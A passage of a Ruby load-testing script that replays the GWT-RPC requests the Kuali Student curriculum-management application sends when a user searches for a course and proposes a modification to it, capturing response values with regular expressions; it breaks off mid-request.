"text": "def propose_course_mod_with_requisite(course_code, course_title, course_number, new_course_title, new_description_addition, new_proposal_rationale, new_credit_value, advanced_search_code, requisite, opts={})\n\n defaults = {\n :modification_person => '%%_username%%', #user is the dynvar from users.csv\n :nav_homepage => true, \n :course_name_dyn_var => 'course_name_dyn_var',\n :course_name_var_regexp => '\\([^\\\"]+\\)\\\"\\,\\\"[^\\\"]+\\\"\\,\\\"' + course_title,\n :course_ind_dyn_var => 'course_ind_dyn_var',\n :course_ind_var_regexp => 'versionIndId\\\"\\,\\\"\\([^\\\"]+\\)',\n :pass_fail_dyn_var => 'pass_fail_dyn_var',\n :pass_fail_var_regexp => 'Pass-Fail\\\"\\,\\\"\\([^\\\"]+\\)',\n :description_dyn_var => 'description_dyn_var',\n :description_var_regexp => '\\\"descr\\\"\\,\\\"formatted\\\"\\,\\\"\\([^\\\"]+\\)',\n :new_credit_id_dyn_var => 'new_credit_dyn_var',\n :new_credit_id_var_regexp => '\\\"fixedCreditValue\\\"\\,\\\"[^\\\"]+\\\"\\,\\\"[^\\\"]+\\\"\\,\\\"\\([^\\\"]+\\)',\n :defaultEnrollmentEstimate_dyn_var => 'defaultEnrollmentEstimate_dyn_var',\n :defaultEnrollmentEstimate_var_regexp => 'defaultEnrollmentEstimate\\\"\\,\\\"\\([^\\\"]+\\)',\n :lecture_dyn_var => 'lecture_dyn_var',\n :lecture_var_regexp => '\\\"Lecture\\\"\\,\\\"[^\\\"]+\\\"\\,\\\"[^\\\"]+\\\"\\,\\\"\\([^\\\"]+\\)',\n :lab_dyn_var => 'lab_dyn_var',\n :lab_var_regexp => '\\\"Lab\\\"\\,\\\"\\([^\\\"]+\\)',\n :preRoute_dyn_var => 'preRoute_dyn_var',\n :preRoute_var_regexp => 'PreRoute\\\"\\,\\\"\\([^\\\"]+\\)',\n :workflowId_dyn_var => 'workflowId_dyn_var',\n :workflowId_var_regexp => 'workflowId\\\"\\,\\\"\\([^\\\"]+\\)',\n :new_active_date_dyn_var => 'new_active_date_dyn_var',\n :new_active_date_var_regexp => '\\([^\\\"]+\\)\\\"\\,\\\"Standard final Exam',\n :requisite_ind_dyn_var => 'requisite_ind_dyn_var',\n :requisite_ind_var_regexp => 'VersionIndId\\\"\\,\\\"\\([^\\\"]+\\)',\n :required_dyn_var => 'required_dyn_var',\n :required_var_regexp => '\\(Must have successfully completed ' + requisite +'\\)'\n # :course_name_var_regexp => '\\\"\\([^\\\"]+\\)\\\"\\,\\\"[^\\\"]+\\\"\\,\\\"' + course_name + '\\\"'\n #NOTE: The previous regexp returns the text of the word that is 2 words behind the coures name in the comma delimitted http response. NOTE: The quotation marks surrounding the text are stripped. \n # This word is then included in 2 HTTP Requests that are sent later.\n }\n \n opts = defaults.merge(opts)\n \n # Navigate to Curriculum Mgmt\n self.homepage() unless(!opts[:nav_homepage])\n\n # The following HTTP Request happens after entering Course Code BSCI and clicking Search\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|20|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|search|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.lang.Integer/3438268394|java.lang.Boolean/476441737|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|lu.queryParam.luOptionalCode|#{course_code}|lu.queryParam.luOptionalType|kuali.lu.type.CreditCourse|lu.queryParam.luOptionalState|java.lang.String/2004016611|Approved|Active|Retired|lu.search.mostCurrent.union|lu.resultColumn.luOptionalCode|1|2|3|4|1|5|5|6|10|7|0|8|3|9|10|0|11|9|12|0|13|9|14|8|3|15|16|15|17|15|18|0|19|20|0|6|0|\"\n },\n {\n :dyn_variables => [\n {\"name\" => opts[:course_name_dyn_var], \"re\" => opts[:course_name_var_regexp]}\n ]\n }\n )\n\n # The following 19 HTTP Requests happen after clicking on the row with Name = \"Microbes and Society\" and Code = \"BSCI122\"\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/CourseRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|7|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|3C9BBAD14113E13A72476EEE8100687B|org.kuali.student.lum.lu.ui.course.client.service.CourseRpcService|getMetadata|java.lang.String/2004016611|java.util.Map||1|2|3|4|2|5|6|7|0|\"\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/statementRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|335FF062A700107AB2A642B325C6C5C5|org.kuali.student.lum.program.client.rpc.StatementRpcService|getStatementTypesForStatementTypeForCourse|java.lang.String/2004016611|kuali.statement.type.course|1|2|3|4|1|5|6|\"\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|11|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|enumeration.queryParam.enumerationType|kuali.lu.campusLocation|enumeration.management.search|enumeration.resultColumn.sortKey|1|2|3|4|1|5|5|0|0|6|1|7|8|0|9|10|11|0|0|\"\n }\n )\n\n # DUPE \n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|11|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|enumeration.queryParam.enumerationType|kuali.lu.campusLocation|enumeration.management.search|enumeration.resultColumn.sortKey|1|2|3|4|1|5|5|0|0|6|1|7|8|0|9|10|11|0|0|\"\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|8|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|atp.search.atpSeasonTypes|atp.resultColumn.atpSeasonTypeName|1|2|3|4|1|5|5|0|0|6|0|7|8|0|0|\"\n }\n )\n\n # DUPE \n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|8|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|atp.search.atpSeasonTypes|atp.resultColumn.atpSeasonTypeName|1|2|3|4|1|5|5|0|0|6|0|7|8|0|0|\"\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|18|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|lrc.queryParam.resultComponent.type|kuali.resultComponentType.grade.finalGrade|lrc.queryParam.resultComponent.idRestrictionList|java.lang.String/2004016611|kuali.resultComponent.grade.letter|kuali.resultComponent.grade.passFail|kuali.resultComponent.grade.satisfactory|kuali.resultComponent.grade.completedNotation|kuali.resultComponent.grade.percentage|lrc.search.resultComponent|lrc.resultColumn.resultComponent.id|1|2|3|4|1|5|5|0|0|6|2|7|8|0|9|7|10|6|5|11|12|11|13|11|14|11|15|11|16|0|17|18|0|0|\"\n }\n )\n\n # DUPE\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|18|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|lrc.queryParam.resultComponent.type|kuali.resultComponentType.grade.finalGrade|lrc.queryParam.resultComponent.idRestrictionList|java.lang.String/2004016611|kuali.resultComponent.grade.letter|kuali.resultComponent.grade.passFail|kuali.resultComponent.grade.satisfactory|kuali.resultComponent.grade.completedNotation|kuali.resultComponent.grade.percentage|lrc.search.resultComponent|lrc.resultColumn.resultComponent.id|1|2|3|4|1|5|5|0|0|6|2|7|8|0|9|7|10|6|5|11|12|11|13|11|14|11|15|11|16|0|17|18|0|0|\"\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|11|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|enumeration.queryParam.enumerationType|kuali.lu.campusLocation|enumeration.management.search|enumeration.resultColumn.sortKey|1|2|3|4|1|5|5|0|0|6|1|7|8|0|9|10|11|0|0|\"\n }\n )\n\n # DUPE\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|11|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|enumeration.queryParam.enumerationType|kuali.lu.campusLocation|enumeration.management.search|enumeration.resultColumn.sortKey|1|2|3|4|1|5|5|0|0|6|1|7|8|0|9|10|11|0|0|\"\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|8|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|atp.search.atpSeasonTypes|atp.resultColumn.atpSeasonTypeName|1|2|3|4|1|5|5|0|0|6|0|7|8|0|0|\"\n }\n )\n\n # DUPE\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|8|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|atp.search.atpSeasonTypes|atp.resultColumn.atpSeasonTypeName|1|2|3|4|1|5|5|0|0|6|0|7|8|0|0|\"\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|18|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|lrc.queryParam.resultComponent.type|kuali.resultComponentType.grade.finalGrade|lrc.queryParam.resultComponent.idRestrictionList|java.lang.String/2004016611|kuali.resultComponent.grade.letter|kuali.resultComponent.grade.passFail|kuali.resultComponent.grade.satisfactory|kuali.resultComponent.grade.completedNotation|kuali.resultComponent.grade.percentage|lrc.search.resultComponent|lrc.resultColumn.resultComponent.id|1|2|3|4|1|5|5|0|0|6|2|7|8|0|9|7|10|6|5|11|12|11|13|11|14|11|15|11|16|0|17|18|0|0|\"\n }\n )\n\n # DUPE\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|18|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|lrc.queryParam.resultComponent.type|kuali.resultComponentType.grade.finalGrade|lrc.queryParam.resultComponent.idRestrictionList|java.lang.String/2004016611|kuali.resultComponent.grade.letter|kuali.resultComponent.grade.passFail|kuali.resultComponent.grade.satisfactory|kuali.resultComponent.grade.completedNotation|kuali.resultComponent.grade.percentage|lrc.search.resultComponent|lrc.resultColumn.resultComponent.id|1|2|3|4|1|5|5|0|0|6|2|7|8|0|9|7|10|6|5|11|12|11|13|11|14|11|15|11|16|0|17|18|0|0|\"\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/CourseRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|3C9BBAD14113E13A72476EEE8100687B|org.kuali.student.lum.lu.ui.course.client.service.CourseRpcService|getData|java.lang.String/2004016611|%%_#{opts[:course_name_dyn_var]}%%|1|2|3|4|1|5|6|\"\n }, {'subst' => 'true',\n :dyn_variables => [\n {\"name\" => opts[:course_ind_dyn_var], \"re\" => opts[:course_ind_var_regexp]}\n ]\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/CourseRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|7|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|3C9BBAD14113E13A72476EEE8100687B|org.kuali.student.lum.lu.ui.course.client.service.CourseRpcService|isLatestVersion|java.lang.String/2004016611|java.lang.Long/4227064769|%%_#{opts[:course_ind_dyn_var]}%%|1|2|3|4|2|5|6|7|6|1|0|\"\n }, {'subst' => 'true'}\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/statementRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|335FF062A700107AB2A642B325C6C5C5|org.kuali.student.lum.program.client.rpc.StatementRpcService|getStatementTypesForStatementTypeForCourse|java.lang.String/2004016611|kuali.statement.type.course|1|2|3|4|1|5|6|\"\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SecurityRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|7|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|13BFCB3640903B473D12816447D1469D|org.kuali.student.common.ui.client.service.SecurityRpcService|checkAdminPermission|java.lang.String/2004016611|#{opts[:modification_person]}|cluModifyItem|1|2|3|4|2|5|5|6|7|\"\n }, {'subst' => 'true'}\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/CourseRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|8|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|3C9BBAD14113E13A72476EEE8100687B|org.kuali.student.lum.lu.ui.course.client.service.CourseRpcService|getCourseStatements|java.lang.String/2004016611|%%_#{opts[:course_name_dyn_var]}%%|KUALI.RULE|en|1|2|3|4|3|5|5|5|6|7|8|\"\n }, {'subst' => 'true'}\n )\n\n @request.add_thinktime(3)\n\n # The next 41 HTTP Requests happen after clicking \"Propose Course Modification\" in the Course Actions dropdown list\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SecurityRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|7|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|13BFCB3640903B473D12816447D1469D|org.kuali.student.common.ui.client.service.SecurityRpcService|checkAdminPermission|java.lang.String/2004016611|#{opts[:modification_person]}|cluModifyItem|1|2|3|4|2|5|5|6|7|\"\n }, {'subst' => 'true'}\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/CourseRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|7|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|3C9BBAD14113E13A72476EEE8100687B|org.kuali.student.lum.lu.ui.course.client.service.CourseRpcService|isLatestVersion|java.lang.String/2004016611|java.lang.Long/4227064769|%%_#{opts[:course_ind_dyn_var]}%%|1|2|3|4|2|5|6|7|6|1|0|\"\n }, {'subst' => 'true'}\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/CreditCourseProposalRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|10|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|A239E8C5A2EDCD8BCE6061BF191A8095|org.kuali.student.lum.lu.ui.course.client.service.CreditCourseProposalRpcService|isAuthorized|org.kuali.student.common.rice.authorization.PermissionType/1943437355|java.util.Map|java.util.HashMap/962170901|java.lang.String/2004016611|copyOfObjectId|%%_#{opts[:course_ind_dyn_var]}%%|1|2|3|4|2|5|6|5|0|7|1|8|9|8|10|\"\n }, {'subst' => 'true'}\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/CreditCourseProposalRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|17|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|A239E8C5A2EDCD8BCE6061BF191A8095|org.kuali.student.lum.lu.ui.course.client.service.CreditCourseProposalRpcService|saveData|org.kuali.student.common.assembly.data.Data/3184510345|org.kuali.student.common.assembly.data.Data|java.util.LinkedHashMap/1551059846|org.kuali.student.common.assembly.data.Data$StringKey/758802082|proposal|org.kuali.student.common.assembly.data.Data$DataValue/1692468409|type|org.kuali.student.common.assembly.data.Data$StringValue/3151113388|kuali.proposal.type.course.modify|versionInfo|versionIndId|%%_#{opts[:course_ind_dyn_var]}%%|versionComment|1|2|3|4|1|5|5|6|7|0|2|8|9|10|5|6|7|0|1|8|11|12|13|-1|-3|8|14|10|5|6|7|0|2|8|15|12|16|8|17|12|17|-1|-9|0|0|\"\n }, {'subst' => 'true',\n :dyn_variables => [\n {\"name\" => opts[:pass_fail_dyn_var], \"re\" => opts[:pass_fail_var_regexp]},\n {\"name\" => opts[:description_dyn_var], \"re\" => opts[:description_var_regexp]},\n {\"name\" => opts[:defaultEnrollmentEstimate_dyn_var], \"re\" => opts[:defaultEnrollmentEstimate_var_regexp]},\n {\"name\" => opts[:lecture_dyn_var], \"re\" => opts[:lecture_var_regexp]},\n {\"name\" => opts[:lab_dyn_var], \"re\" => opts[:lab_var_regexp]},\n {\"name\" => opts[:preRoute_dyn_var], \"re\" => opts[:preRoute_var_regexp]},\n {\"name\" => opts[:workflowId_dyn_var], \"re\" => opts[:workflowId_var_regexp]}\n ]\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/CourseRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|3C9BBAD14113E13A72476EEE8100687B|org.kuali.student.lum.lu.ui.course.client.service.CourseRpcService|getData|java.lang.String/2004016611|%%_#{opts[:course_name_dyn_var]}%%|1|2|3|4|1|5|6|\"\n }, {'subst' => 'true'}\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/statementRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|335FF062A700107AB2A642B325C6C5C5|org.kuali.student.lum.program.client.rpc.StatementRpcService|getStatementTypesForStatementTypeForCourse|java.lang.String/2004016611|kuali.statement.type.course|1|2|3|4|1|5|6|\"\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/CourseRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|8|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|3C9BBAD14113E13A72476EEE8100687B|org.kuali.student.lum.lu.ui.course.client.service.CourseRpcService|getCourseStatements|java.lang.String/2004016611|%%_#{opts[:pass_fail_dyn_var]}%%|KUALI.RULE|en|1|2|3|4|3|5|5|5|6|7|8|\"\n }, {'subst' => 'true'}\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/statementRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|335FF062A700107AB2A642B325C6C5C5|org.kuali.student.lum.program.client.rpc.StatementRpcService|getStatementTypesForStatementTypeForCourse|java.lang.String/2004016611|kuali.statement.type.course|1|2|3|4|1|5|6|\"\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/CreditCourseProposalRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|18|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|A239E8C5A2EDCD8BCE6061BF191A8095|org.kuali.student.lum.lu.ui.course.client.service.CreditCourseProposalRpcService|getMetadata|java.lang.String/2004016611|java.util.Map|%%_#{opts[:preRoute_dyn_var]}%%|java.util.HashMap/962170901|ID_TYPE|kualiStudentObjectWorkflowId|documentTypeName|kuali.proposal.type.course.modify|DtoState|Draft|DtoNextState||DtoWorkflowNode|PreRoute|1|2|3|4|2|5|6|7|8|5|5|9|5|10|5|11|5|12|5|13|5|14|5|15|5|16|5|17|5|18|\"\n }, {'subst' => 'true'}\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/CourseRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|8|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|3C9BBAD14113E13A72476EEE8100687B|org.kuali.student.lum.lu.ui.course.client.service.CourseRpcService|getCourseStatements|java.lang.String/2004016611|%%_#{opts[:course_name_dyn_var]}%%|KUALI.RULE|en|1|2|3|4|3|5|5|5|6|7|8|\"\n }, {'subst' => 'true'}\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/WorkflowRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|71417C94A72A0CF76A43A2B36B8E3E1B|org.kuali.student.core.workflow.ui.client.service.WorkflowRpcService|getActionsRequested|java.lang.String/2004016611|%%_#{opts[:workflowId_dyn_var]}%%|1|2|3|4|1|5|6|\"\n }, {'subst' => 'true'}\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/WorkflowRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|71417C94A72A0CF76A43A2B36B8E3E1B|org.kuali.student.core.workflow.ui.client.service.WorkflowRpcService|getDocumentStatus|java.lang.String/2004016611|%%_#{opts[:workflowId_dyn_var]}%%|1|2|3|4|1|5|6|\"\n }, {'subst' => 'true'}\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/ProposalRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|12BDE6C2DA6A7CF74BE0FBF074E806E1|org.kuali.student.core.proposal.ui.client.service.ProposalRpcService|getProposalByWorkflowId|java.lang.String/2004016611|%%_#{opts[:workflowId_dyn_var]}%%|1|2|3|4|1|5|6|\"\n }, {'subst' => 'true'}\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/statementRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|335FF062A700107AB2A642B325C6C5C5|org.kuali.student.lum.program.client.rpc.StatementRpcService|getStatementTypesForStatementTypeForCourse|java.lang.String/2004016611|kuali.statement.type.course|1|2|3|4|1|5|6|\"\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|8|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|atp.search.atpDurationTypes|atp.resultColumn.atpDurTypeName|1|2|3|4|1|5|5|0|0|6|0|7|8|0|0|\"\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|11|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|enumeration.queryParam.enumerationType|kuali.lu.finalExam.status|enumeration.management.search|enumeration.resultColumn.sortKey|1|2|3|4|1|5|5|0|0|6|1|7|8|0|9|10|11|0|0|\"\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|14|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|lrc.queryParam.resultComponent.idRestrictionList|java.lang.String/2004016611|kuali.resultComponentType.credit.degree.fixed|kuali.resultComponentType.credit.degree.range|kuali.resultComponentType.credit.degree.multiple|lrc.search.resultComponentType|lrc.resultColumn.resultComponent.id|1|2|3|4|1|5|5|0|0|6|1|7|8|6|3|9|10|9|11|9|12|0|13|14|0|0|\"\n }\n )\n\n # Dupe\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => 